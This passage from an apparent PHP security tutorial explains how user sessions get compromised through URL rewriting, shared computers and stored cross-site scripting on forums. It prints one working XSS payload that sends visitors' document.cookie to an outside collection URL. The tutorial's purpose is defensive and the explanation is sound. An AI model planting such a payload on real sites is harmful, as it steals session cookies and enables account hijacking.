Validating PHP User Sessions
Session Vulnerabilities
Unfortunately, while PHP makes it easy to create sessions, there are many ways for session security to be compromised. Probably the easiest way that a session can be compromised is when URL rewriting is done. Since URL rewriting puts the session identifier directly into the URL, an unwary user who copies and pastes his or her URL and sends it to people will inadvertently be compromising the session. Also, if the site links to external sites, the session identifier may show up in referrer logs on the other site. So, for these reasons, it is generally considered safer to use cookies.
Another simple way that sessions can be compromised is when users are using public computers. When using cookies, there is the potential that the cookie could be left on the computer after the user is finished, leaving an open door. Alternatively, if URL rewriting is used, a session could be compromised as simply as the subsequent user browsing through the history. If the user doesn??t manually click ??logout?? or closes the browser thinking that it will automatically log him or her out there are a number of potential security risks when using URL rewriting, when the cookie has an expiration time instead of ending when the browser window closes, and–particularly–if the session doesn??t ??timeout?? within a short amount of time.
The most creative way that I have seen sessions compromised, however, is generally done on bulletin boards, etc., that allow HTML user input to be displayed on the site. A hacker will register on the site, and then make posts in various places on the site that allow HTML input. Within those posts, s/he will include some JavaScript that will insert an image tag, which is actually a link to an application that harvests cookie data. This is done similar to what you see below:
<script type='text/javascript'>
document.write("<img src='http://site.com/url.php?cookie="+
document.cookie+"' />");
</script>
In the above script, the hacker is putting the JavaScript ??document.cookie?? into the URL. So, when the user??s browser parses the JavaScript and attempts to load the image, it also sends along the viewing user??s cookie information, which compromises that user??s session. The hacker can then, at his or her leisure, go through the list of session identifiers hoping to find someone with admin access, etc., in order to hack the site.
All of the above is not to mention the more active hackers who either write programs that will continually try to brute-force their way into a system by trying random session identifiers, or someone who is able to gain access to network traffic and read any non-encrypted traffic–thereby potentially gaining access to all session data being passed to a site. I doubt that most websites will ever have to worry about these kinds of attacks unless they become a high profile site. Nonetheless, it is good to know the possibilities, which makes clear that some precautions need to be taken other than blindly accepting the session identifier, which will be discussed next.
